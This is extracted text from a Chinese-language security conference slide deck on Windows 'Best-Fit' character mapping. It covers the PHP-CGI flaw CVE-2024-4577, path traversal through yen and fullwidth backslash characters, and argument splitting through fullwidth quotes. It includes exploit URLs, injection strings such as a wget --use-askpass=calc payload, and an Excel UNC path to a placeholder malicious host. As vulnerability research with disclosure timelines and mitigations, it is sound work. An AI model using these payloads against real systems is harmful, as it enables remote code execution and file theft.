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Windows 都怎麼處理這些東西呀 🤔
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UTF-16LE

File Name

Command Line
Windows Registry 

Environment Variable
Console Input

(more…)



寬字元

typedef wchar_t WCHAR;
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Command Line
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(more…)

int main ( int argc,

char *argv[],

char *envp[] )
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typedef wchar_t WCHAR;

File Name

Command Line寬字元Windows Registry 
Environment Variable

Console Input
(more…)

UTF-16LE



DWORD GetEnvironmentVariable(
  [in, optional]  LPCTSTR lpName,
  [out, optional] LPTSTR  lpBuffer,
  [in]            DWORD   nSize
);



UCS-2 UTF-16 UTF-8

Since Windows 9x

　　　　　

(Obsolete)

Since Windows 2000

Since May, 2019

ANSI
Windows Code pages

Since NT 3.5

GetEnvironmentVariableA  ⬅ ANSI / 基於字碼頁

GetEnvironmentVariableW  ⬅ Wide char / Unicode



Windows OS
H e l l o

48 00 65 00 6c 00 6c 00 6f 00

On Windows code page 1252 (Latin-1)

UTF-16

GetEnvironmentVariableW

WCHAR *env="                                           "
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Windows OS
H e l l o

48 00 65 00 6c 00 6c 00 6f 00

On Windows code page 1252 (Latin-1)

UTF-16

GetEnvironmentVariableA ANSI
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Bestfit!
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Windows OS

On Windows code page 1252 (Latin-1)

UTF-16

GetEnvironmentVariableA ANSI

RtlUnicodeStringToAnsiString

v

76

p

70
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char *env="                                       "

√ π ⁷ ≤ ∞
1a 22 c0 03 77 20 64 22 1e 22

Bestfit!

🤯「Bestfit」到底是什麼？



U+00A5

¥
Yen Sign

\ (0x5C) CP-932 / 日文

Y (0x59) CP-1250 / 東歐語系

\ (0xA5) 其他字碼頁

Bestfit mapping
- 一個 Unicode 字串被轉換成 ANSI 字串時會被觸發

- 根本沒有特定的轉換規則，就只是讓它們「感覺起來」很像 😉
- 不同的字碼頁（code page）會有截然不同的映射規則！



- 一個 Unicode 字串被轉換成 ANSI 字串時會被觸發

- 根本沒有特定的轉換規則，就只是讓它們「感覺起來」很像 😉
- 不同的字碼頁（code page）會有截然不同的映射規則！

U+00A5

¥
Yen Sign

\ (0x5C) CP-932 / 日文

Y (0x59) CP-1250 / 東歐語系

\ (0xA5) 其他字碼頁

Bestfit mapping



- 一個 Unicode 字串被轉換成 ANSI 字串時會被觸發

- 根本沒有特定的轉換規則，就只是讓它們「感覺起來」很像 😉
- 不同的字碼頁（code page）會有截然不同的映射規則！

U+00A5

¥
Yen Sign

\ (0x5C) CP-932 / 日文

Y (0x59) CP-1250 / 東歐語系

\ (0xA5) 其他字碼頁

Bestfit mapping



- 一個 Unicode 字串被轉換成 ANSI 字串時會被觸發

- 根本沒有特定的轉換規則，就只是讓它們「感覺起來」很像 😉
- 不同的字碼頁（code page）會有截然不同的映射規則！

Bestfit mapping

U+00A5

¥
Yen Sign

\ (0x5C) CP-932 / 日文

Y (0x59) CP-1250 / 東歐語系

\ (0xA5) 其他字碼頁



U+00A5

¥
Yen Sign

\ (0x5C) CP-932 / 日文

Y (0x59) CP-1250 / 東歐語系

\ (0xA5) 其他字碼頁

Bestfit mapping
- 一個 Unicode 字串被轉換成 ANSI 字串時會被觸發

- 根本沒有特定的轉換規則，就只是讓它們「感覺起來」很像 😉
- 不同的字碼頁（code page）會有截然不同的映射規則！

WorstFit
零號機



CVE-2024-4577 
一個經典漏洞 CVE-2012-1823  的繞過

PHP-CGI 遠端程式碼執行漏洞
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CVE-2012-1823

http://vuln.host/index.php?-s

php-cgi.exe -s
Apache

$ php-cgi.exe --help
...

  -s               Display colour syntax highlighted source.

Exploit!



CVE-2012-1823

http://vuln.host/index.php?-s

php-cgi.exe -s
Apache

$ php-cgi.exe --help
...

  -s               Display colour syntax highlighted source.



php-cgi.exe -s
Apache

if((qs = getenv("QUERY_STRING")) != NULL && strchr(qs, '=') == NULL) {

   /* ... omitted ... */

   for (p = decoded_qs; *p && *p <= ' '; p++) { /* skip leading spaces */ }

   if (*p == '-') {

      skip_getopt = 1;

   }

Patch!

CVE-2012-1823

http://vuln.host/index.php?-s



CVE-2012-1823

http://vuln.host/index.php?-s

php-cgi.exe -s
Apache

if((qs = getenv("QUERY_STRING")) != NULL && strchr(qs, '=') == NULL) {

   /* ... omitted ... */

   for (p = decoded_qs; *p && *p <= ' '; p++) { /* skip leading spaces */ }

   if (*p == '-') {

      skip_getopt = 1;

   }

Patch!

s/-/\xAD/g



CVE-2024-4577 🎉

http://vuln.host/index.php?%ADs

php-cgi.exe - s
Apache

AD



CVE-2024-4577 🎉

php-cgi.exe   s
Apache

GetCommandLineA()

↓
php-cgi.exe -s

php-cgi

http://vuln.host/?%ADs
Browser

AD

Cmdline = 
　⚠ Bestfit＿

CP-932 | 日文
CP-936 | 簡體中文
CP-950 | 繁體中文

U+00AD → 0x2D

U+00AD

 
Soft Hyphen



立即通報 PHP 並在 2024/06/06  修復





2024/06/05 - 協同資安院提前對台灣預警 💪



然而，這只是一切的

冰山一角

CVE-2024-4577

More attack surfaces!
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 G:¥🤔





ISO 646: 允許國家自定義字元的 7-Bits 標準

C

5



ISO 646-JP: 日本版本的 ISO 646 變體

¥

C

5



ISO 8859-1: 對於 ISO 646 的 8-Bits  擴展
So-called Latin-1

U+00A5

¥
Yen Sign

ISO 646-JP
U+005C → ¥

ISO 8859-1
U+00A5 → ¥



U+005
C U+00A

5

¥
¥

_Microsoft_



..¥  as a filename? 
U+00A5







typedef struct _WIN32_FIND_DATAA {

    DWORD    dwFileAttributes;

    FILETIME ftCreationTime;

    FILETIME ftLastAccessTime;

    ...

    CHAR cFileName[MAX_PATH];

};

Bestfit!��





🤯





At this point we only fully support Python 2.7. Older version 
of Python and Python 3 versions are not supported



Guest VM Guest VM Guest VM

Sandbox Host



WriteFile.exe

CreateFileW(L"..\u00A5..\u00A5…",…)



�
�

 Download



_✨..\..\cuckoo.conf_



Cuckoo Sandbox LFI to RCE

http://www.youtube.com/watch?v=EeMcDT95WSM


我真的需要擔⼼這個嗎？



＼
Fullwidth Reverse Solidus

所有可以導致路徑穿越的字碼頁
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- 1255：希伯來文  
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＼
Fullwidth Reverse Solidus
英文、西班牙文、法文、

荷蘭文、德文、瑞典文、義大利

文、葡萄牙文、波蘭文、土耳其

文、烏克蘭文、希臘文、挪威文、

匈牙利文、俄文、捷克文、羅馬尼

亞文、丹麥文、越南文、泰文、菲

律賓文、馬來文、印尼文、阿拉伯

文、希伯來文、波斯文……

所有可以導致路徑穿越的字碼頁

U+FF3C

＼
Full Width

Reverse Solidus



_誰容易受到 Filename Smuggling 影響？_



📌 修補建議

使用繁體中文文
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import subprocess

subprocess.run(

   ['wget.exe', f'http://example.tld/{USER_PROVIDED_INPUT}.txt']

)

這段程式碼大家打不打得穿？

在一個設定成英文的 Windows 作業系統上



import subprocess

subprocess.run(

   ['wget.exe', f'http://example.tld/{USER_PROVIDED_INPUT}.txt']

)

EaSy pEaSy 👌🤔

 & calc.exe & 



import subprocess

subprocess.run(

   ['wget.exe', f'http://example.tld/{USER_PROVIDED_INPUT}.txt']

)

EaSy pEaSy 👌🤔

" ; calc.exe ; "

https://docs.python.org/3/library/subprocess.html#security-considerations

https://docs.python.org/3/library/subprocess.html#security-considerations


import subprocess

subprocess.run(

   ['wget.exe', f'http://example.tld/{USER_PROVIDED_INPUT}.txt']

)

沒戲。

" & calc.exe & "

>>> subprocess.run(["wget.exe", f'http://example.tld/ & calc & .txt'])
--2024-12-03 12:34:56--  http://example.tld/%20&%20calc%20&%20.txt
Resolving example.tld (example.tld)... 8.8.8.8
Connecting to example.tld (example.tld)|8.8.8.8|:80... connected.
...omitted...

（毫不意外的）



import subprocess

subprocess.run(

   ['wget.exe', f'http://example.tld/{USER_PROVIDED_INPUT}.txt']

)

這當然也沒戲。

" --use-askpass=calc "



import subprocess

subprocess.run(

   ['wget.exe', f'http://example.tld/{USER_PROVIDED_INPUT}.txt']

)

那換成這個勒？

＂ --use-askpass=calc ＂



import subprocess

subprocess.run(

   ['wget.exe', f'http://example.tld/{USER_PROVIDED_INPUT}.txt']

)

Easy Peasy 👍

＂ --use-askpass=calc ＂



Install Now!

94.87% 的人都找不到
大家來找　　　
難度：★★★★★

Exploit 😱 Safe 🥰

渣
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渣
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U+0022
普通雙引號

U+FF02
全形雙引號



大家來找　　　
難度：★★★★★

Install Now!

渣 94.87% 的人都找不到

Exploit 😱 Safe 🥰

U+0022
普通雙引號

U+FF02
全形雙引號



wget example.tld/home -O "out.txt"

↖ 這是怎麼被解析的？



On Unix-like systems

./test foo "bar"

argv[] = {"./test","foo","bar"}

execve("/bin/test", argv[], envp)

✨ New process
   帶有 argv 的 /bin/test 

由你的 shell 解析
(如 /bin/bash)

Cmdline = GetCommandLine()

argv[] = {"test.exe", "foo", "bar"}

Args[] = CommandLineToArgv(Cmdline)

On Windows system

test.exe foo "bar"

  CreateProcess(lpApplicationName,

            lpCommandLine, ...)

✨ New Process 執行 test.exe

 CreateProcess("C:\\test.exe",

       "test.exe foo \"bar\"")



CreateProcessW("C:\wget.exe",
"wget.exe \"example.tld/ʺ --use-askpass=calc ʺ.txt\"")

Wget GetCommandLineA()

Cmdline = wget.exe "example.tld/" --use-askpass=calc ".txt"

[ANSI] 蛤我不知道 ʺ 是什麼？但 Bestfit  告訴我 ʺ 就是 "  

run(['wget.exe', 'example.tld/ʺ --use-askpass=calc ʺ.txt'])

沒雙引號也沒反斜線，穩的，根本不用 escape

👌 那我就這樣把 wget 開起來

　⚠ Bestfit＿

argv[1] argv[2] argv[3]

U+FF02
↓

U+FF02
↓



CreateProcessW("C:\wget.exe",
"wget.exe \"example.tld/ʺ --use-askpass=calc ʺ.txt\"")

Wget GetCommandLineA()

Cmdline = wget.exe "example.tld/" --use-askpass=calc ".txt"

[ANSI] 蛤我不知道 ʺ 是什麼？但 Bestfit  告訴我 ʺ 就是 "  

run(['wget.exe', 'example.tld/ʺ --use-askpass=calc ʺ.txt'])

沒雙引號也沒反斜線，穩的，根本不用 escape

👌 那我就這樣把 wget 開起來

　⚠ Bestfit　

argv[1] argv[2] argv[3]

U+FF02
↓

U+FF02
↓

參數拆分！
Argument Splitting!



我們找到了一大堆這類的問題...

● Java
● Perl
● tar (Windows built-in)
● curl (Author build)
● wget
● Bzip2

● OpenSSL
● Subversion (SVN)
● Perforce
● PostgreSQL 
● Plink on Putty
● XZ Utils

而且肯定還有更多野生的 bug 存在！



● Java
● Perl
● tar (Windows built-in)
● curl (Author build)
● wget
● Bzip2

我們找到了一大堆這類的問題...

● OpenSSL
● Subversion (SVN)
● Perforce
● PostgreSQL 
● Plink on Putty
● XZ Utils

而且肯定還有更多野生的 bug 存在！

Case Study!





它用執行命令的方法來建立壓縮檔

所有參數都被 escapeshellarg 轉譯了



它用執行命令的方法來建立壓縮檔

所有參數都被 escapeshellarg 轉譯了

tar.exe -chf "NewTar.tar" ".\file1" ".\file2" ...

但 tar.exe 是 WorstFit 的受害者!

All escaped…



http://www.youtube.com/watch?v=DPIp42-Ls0U


當然，我們還能彈出更多小算盤 😉

RStudio w/ SVN TortoiseGit w/ Plink

http://www.youtube.com/watch?v=EF1U-C0e_9E
http://www.youtube.com/watch?v=YKw4ZcQ75Hc


 Rust
    Python

Node.js
 Golang

PHP

完全沒有程式語言能防止這種攻撃！

exec.Command("program.exe", args...)

proc_open(['program.exe', $arg])

child_process.spawn('program.exe', [argument])

Command::new("program.exe").arg(argument)

shell_exec('program.exe '.escapeshellarg(arg));

subprocess.run(["program.exe", arg])



＂
Fullwidth Quotation Mark

Affected Code Pages

U+FF02

＂
Full Width 

Quotation Mark

- 874：泰文  

- 1250：Latin 2 / 中歐語系  

- 1251：斯拉夫文（西里爾字母）  
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- 1253：希臘文  

- 1254：土耳其文  

- 1255：希伯來文  

- 1256：阿拉伯文  

- 1257：波羅的海語系  

- 1258：越南文



📌 修補建議

使用中日韓語言文
CJK (Chinese, Japanese, Korean)



📌 修補建議

使用中日韓語言文
CJK (Chinese, Japanese, Korean)

小等一下！
sió-tán--tsı̍t-ē!



¥    和    ₩
0x5C (\)

Yen Sign Won Sign
Japanese Korean



   ['program.exe','foo¥" bar']

subprocess.run(

)

Python



     program.exe  "foo¥\" bar"

Windows

用來 escape 使用者給的雙引號⋯⋯

↓

argv[1]

CreateProcessW(

"program.exe",

)



program.exe

現在被原本的日圓 escape 了！

↓

argv[1] argv[2]

GetCommandLineA() =

Bestfit!

     program.exe  "foo\\" bar"



_誰容易受到參數拆分(argument splitting)影響？_



📌 修補建議

使用中日韓語言文
中文語系 ✅



📌 修補建議

使用中日韓語言文
中文語系 ✅

只有 CLI 會出事？



New Text 
Document.txt



New Text 
Document.txt

Windows 如何決定要⽤哪個程式
開啟這份⽂字檔？



C:\>assoc
...
.txt=txtfile
...

C:\>ftype
...
txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
...

把檔名當成⼀個參數 ;)



NOTEPAD.EXE <FILENAME>



New Microsoft Excel 
Worksheet.xlsx



AAAA＂ ＂／a＂ ＂
＼＼malicious.tld＼xxx.xlsx



EXCEL.exe "AA" "/a" "\\malicious.tld\xxx.xlsx"



CVE-2024-49026 - Microsoft Excel Inject UNC to RCE

http://www.youtube.com/watch?v=zklkmbDyR1U
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CGI

Web Server CGI
Stdin

Stdout

Query string, path, headers etc.
環境變數



CGI

Web Server CGI
Stdin

Stdout

環境變數
Query string, path, headers etc.

Bestfit!

ANSI

Bestfit!

GetEnvironmentVariableA

ReadConsoleInputA



Web Server CGI

Browser /index.php/%E0dmin

PATH_INFO=/index.php/àdmin $_SERVER['PATH_INFO']

GetEnvironmentVariableA("PATH_INFO")

⛔ 禁止存取 /admin



Web Server CGI

PATH_INFO=/index.php/àdmin PATH_INFO=/index.php/admin

Browser /index.php/%E0dmin

Bestfit!

⛔ 禁止存取 /admin



http://victim.tld/index.php/foo/bar

REDIRECT_URL = /index.php/foo/bar

REQUEST_URI = /index.php/foo/bar

PATH_INFO = /index.php/foo/bar

PATH_TRANSLATED = C:\www\index.php\foo\bar

PHP CGI-Mode

Server

php-cgi.exe
SCRIPT_FILENAME = C:\www\index.php

PATH_INFO = /foo/bar

ENV



http://victim.tld/index.php/foo/bar

REDIRECT_URL = /index.php/foo/bar

REQUEST_URI = /index.php/foo/bar

PATH_INFO = /index.php/foo/bar

PATH_TRANSLATED = C:\www\index.php\foo\bar

PHP CGI-Mode

Server

php-cgi.exe
SCRIPT_FILENAME = C:\www\index.php

PATH_INFO = /foo/bar

_PHP-CGI.exe 負責拆路徑

ENV



http://victim.tld/index.php/../../secret

REDIRECT_URL = /index.php/../../secret

REQUEST_URI = /index.php/../../secret

PATH_INFO = /index.php/../../secret

PATH_TRANSLATED = C:\secret

PHP CGI-Mode

Server

php-cgi.exe
SCRIPT_FILENAME = C:\secret

PATH_INFO = /

ENV



http://victim.tld/index.php/../../secret

PHP CGI-Mode

Server Invalid URI Path

400 Bad Request¯\_(ツ)_/¯

驗證路徑合法性



¥ 



http://victim.tld/index.php/..¥..¥secret/foo/

PHP CGI-Mode

php-cgi.exe

PATH_TRANSLATED = C:\www\index.php\..\..\secret/foo

PATH_INFO = /index.php/..\..\secret/foo

Bestfit!

ENV

拆分並且取得 PHP 檔名 和 PATH_INFO



http://victim.tld/index.php/..¥..¥windows/win.ini/

http://victim.tld/index.php/..¥..¥NONEXIST/

對於不存在的路徑

對於存在的路徑

順利顯示 index.php

出錯「No input file specified」

Apache + PHP-CGI



使用 IIS + PHP-CGI + 有設定 doc_root 

甚至可以變成 LFI！



- $_REQUEST, $_GET
- $_SERVER

- ORIG_PATH_INFO
- ORIG_PATH_TRANSLATED
- PATH_INFO
- PATH_TRANSLATED
- PHP_SELF

PHP CGI ModePerl CGI

Query, Path, Headers …

全都受到影響！



＼
Fullwidth Reverse Solidus

All Code Pages lead to Path Traversal (on IIS)

U+FF3C

＼
Full Width

Reverse Solidus
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- 1250：Latin 2 / 中歐語系  

- 1251：斯拉夫文（西里爾字母）  

- 1252：Latin 1 / 西歐語系  

- 1253：希臘文  

- 1254：土耳其文  

- 1255：希伯來文  

- 1256：阿拉伯文  

- 1257：波羅的海語系  

- 1258：越南文
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Path / File name Command Line

Environment Variable Windows 
Registry

Active 
Directory

Future work!

RegOpenKeyA
RegQueryValueA

…



● PHP
● Java
● Perl
● tar (Windows built-in)
● curl (Author build)
● wget
● Bzip2

● Microsoft Excel
● OpenSSL
● Subversion (SVN)
● Perforce
● PostgreSQL 
● Plink on Putty
● XZ Utils

我們找到了一大堆這類的問題...



int main(int argc, char* argv[]) { }

⼀個對 *NIX 系統來說再正常不過的 main 函數



int main(int argc, char* argv[]) { }

在 Windows 系統上編譯時預設帶有
Argument Splitting 漏洞







What’s that?

你的 main 在這裡



What’s that?

你的 main 在這裡

是誰塞了這⼀⼤坨程式碼進去 =  =



Your main() are here



int main(int argc, char* argv[]) { }

configure_narrow_argv<char>()

__p___argv()

pre_c_initialization()

__acrt_initialize_command_line()

__scrt_initialize_crt()

_scrt_common_main()

GetCommandLineA()

parse_command_line()

</> mainCRTStartup



正確的作法：使用寬字元版本的 main 函數



這些 C 標準函式庫也同樣受影響...

✅ Safe ⚠ Potentially Vulnerable

_wgetenv getenv

_wgetcwd getcwd, _getcwd

wscanf scanf

...



我們很努力地向 MSRC 回報...

Date Action Result

2024/06/13 Report the Tar issue to MSRC as VULN-127777 Closed

2024/06/19 Report the ███ issue to MSRC as VULN-1288124 Closed

2024/06/19 Report the Excel issue to MSRC as VULN-128122 Closed

2024/06/21 Report the Excel issue to MSRC as VULN-128235 Closed

2024/07/14 Report the Excel issue to MSRC as VULN-130207 Accept 

2024/08/15 Report the Tar issue to MSRC through the help of CERT/CC No Response

2024/11/13 Notify Microsoft that we will present Tar issue at Black Hat Europe No Response



開放原始碼專案作者們的回應



這是⼀個 Windows 特性 [...] Curl 在這
也是受害者，⽽⾮該負責的⼀⽅

This is a Windows feature [...] Curl is a victim here, not the responsible party.

─ Curl



這看來更像是⼀個微軟問題⽽⾮ Perl 的問題
This seems more like a Microsoft bug than a perl bug…

─ Perl



這不是 PostgreSQL 的漏洞
This is not a PostgreSQL vulnerability.

─ PostgreSQL



嘿、微軟們，你們知道有啥更好的
Windows API 使⽤策略嗎?

@Microsoft folks, do you see a better way 
forward here, given the Windows API?

─ PostgreSQL



我們正在跟 CERT/CC  合作
希望可以讓世界變得更加安全



 https:// Worst.Fit /



緩解措施

● 身為一個開發者

○ 盡可能的使用寬字元的 Windows API
● 身為一個使用者

○ 把 UTF-8 的測試小勾勾打開



緩解措施

● 身為一個開發者

○ 盡可能的使用寬字元的 Windows API
● 身為一個使用者

○ 把 UTF-8 的測試小勾勾打開✔



Thanks!
research@devco.re
@orange_8361
@_splitline_


